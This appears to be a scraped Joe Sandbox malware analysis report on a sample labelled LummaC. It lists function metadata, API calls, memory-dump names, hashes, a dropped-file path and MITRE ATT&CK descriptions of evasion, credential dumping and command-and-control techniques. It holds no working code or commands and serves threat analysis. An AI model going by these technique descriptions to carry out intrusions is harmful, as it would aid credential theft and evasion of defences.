COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04E11367

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: bd33b1b311d4b46f24e58c436f896e587a37afc9c7386be4d341cf5e3f4d5265
Instruction ID: b37a00f945f8cf56e55ced0b422adac63023b3664f8c531d35872a5dc6f8f6b5
Opcode Fuzzy Hash: bd33b1b311d4b46f24e58c436f896e587a37afc9c7386be4d341cf5e3f4d5265
Instruction Fuzzy Hash: E2113AB1800249CFDB10CF9AD585BEEFBF4EF48324F148459D559A3250D774A545CFA1

Function 04E11308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04E11367

Memory Dump Source

Source File: 00000003.00000002.1874763486.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e10000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 2d28c9e3cc2b8c105d4dc3709d6137707e2afd552140d06f0f5201ece012278f
Instruction ID: 568b930b70f039db6d051d2c51aabfed55fd4a4d163e09e5587b92e171fba883
Opcode Fuzzy Hash: 2d28c9e3cc2b8c105d4dc3709d6137707e2afd552140d06f0f5201ece012278f
Instruction Fuzzy Hash: 9E1136B1800349CFDB10CF9AD445BEEFBF4EB48324F14845AD558A3250D778A944CFA5

Function 0055E8D1 Relevance: 1.3, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0055F3E8

Memory Dump Source

Source File: 00000003.00000002.1867236553.000000000055A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00550000, based on PE: true

Associated: 00000003.00000002.1867112879.0000000000550000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867201417.0000000000556000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867257167.0000000000566000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867360840.00000000006C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867381845.00000000006C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867446329.00000000006F4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867464589.00000000006F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867486438.0000000000700000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867505787.0000000000701000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867524536.0000000000703000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867542975.0000000000705000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867565576.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867587385.000000000072C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867612422.000000000072D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867684627.0000000000732000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867711046.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867770872.0000000000740000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867800335.0000000000743000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867835392.000000000075A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867860121.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867885280.0000000000764000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867915071.0000000000767000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867939902.0000000000768000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867965258.0000000000771000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867987003.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868010334.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868040491.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868139707.000000000078B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868163174.0000000000793000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868192164.0000000000796000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868279016.000000000079E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868310474.00000000007A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868391241.00000000007AD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868416122.00000000007AE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868439900.00000000007AF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868494689.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868522293.00000000007B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868545785.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.00000000007FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.0000000000803000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868694958.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868715019.0000000000814000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_550000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1d4aa61daa3e494ca9f316ff19eb6b44e138331a5097b17c4300410efd514378
Instruction ID: a57fd91ab76337878dcc3cb73dfba119d69031a01dc9ae60ca3b84302d0771fc
Opcode Fuzzy Hash: 1d4aa61daa3e494ca9f316ff19eb6b44e138331a5097b17c4300410efd514378
Instruction Fuzzy Hash: 42118FF1A0C200AFD304AF29D855A6ABAE9FF88700F14893DAAC9C7754EA319C548757

Function 0055E756 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0055E756

Memory Dump Source

Source File: 00000003.00000002.1867236553.000000000055A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00550000, based on PE: true

Associated: 00000003.00000002.1867112879.0000000000550000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867201417.0000000000556000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867257167.0000000000566000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867360840.00000000006C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867381845.00000000006C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867446329.00000000006F4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867464589.00000000006F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867486438.0000000000700000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867505787.0000000000701000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867524536.0000000000703000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867542975.0000000000705000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867565576.000000000071C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867587385.000000000072C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867612422.000000000072D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867684627.0000000000732000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867711046.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867770872.0000000000740000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867800335.0000000000743000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867835392.000000000075A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867860121.000000000075C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867885280.0000000000764000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867915071.0000000000767000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867939902.0000000000768000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867965258.0000000000771000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1867987003.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868010334.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868040491.0000000000785000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868139707.000000000078B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868163174.0000000000793000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868192164.0000000000796000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868279016.000000000079E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868310474.00000000007A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868391241.00000000007AD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868416122.00000000007AE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868439900.00000000007AF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868494689.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868522293.00000000007B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868545785.00000000007B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.00000000007FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868613859.0000000000803000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868694958.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1868715019.0000000000814000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_550000_94JSCZGRDUWCLDEBY2HC1S58YAX1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02ea3ffecfb4d21bcf52872edb73b9cfe467216fbec9a6f42f6531ce897b4f65
Instruction ID: 23be43a267c120876aa893056bbbf8eae7392051c48b0f145084e71a9c0e944c
Opcode Fuzzy Hash: 02ea3ffecfb4d21bcf52872edb73b9cfe467216fbec9a6f42f6531ce897b4f65
Instruction Fuzzy Hash: D5C04CB541459ECBCB441F74D40C4CE3E30EE45326B204602BC7285EC0EB329C64CA58

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.log

C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
file.exe

Function 0087EC20 Relevance: 20.4, Strings: 16, Instructions: 397
COMMON

Function 00880460 Relevance: 11.7, Strings: 9, Instructions: 454
COMMON

Function 008979B0 Relevance: 8.0, Strings: 6, Instructions: 507
COMMON

Function 0087F755 Relevance: 8.0, Strings: 6, Instructions: 466
COMMON

Function 0087E1A0 Relevance: 6.8, Strings: 5, Instructions: 540
COMMON

Function 0087CF90 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 195
COMMON

Function 0088D7F8 Relevance: 1.9, APIs: 1, Instructions: 413
COMMON

Function 0088104F Relevance: 1.6, APIs: 1, Instructions: 379
COMMON

Function 00880CA0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 308
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre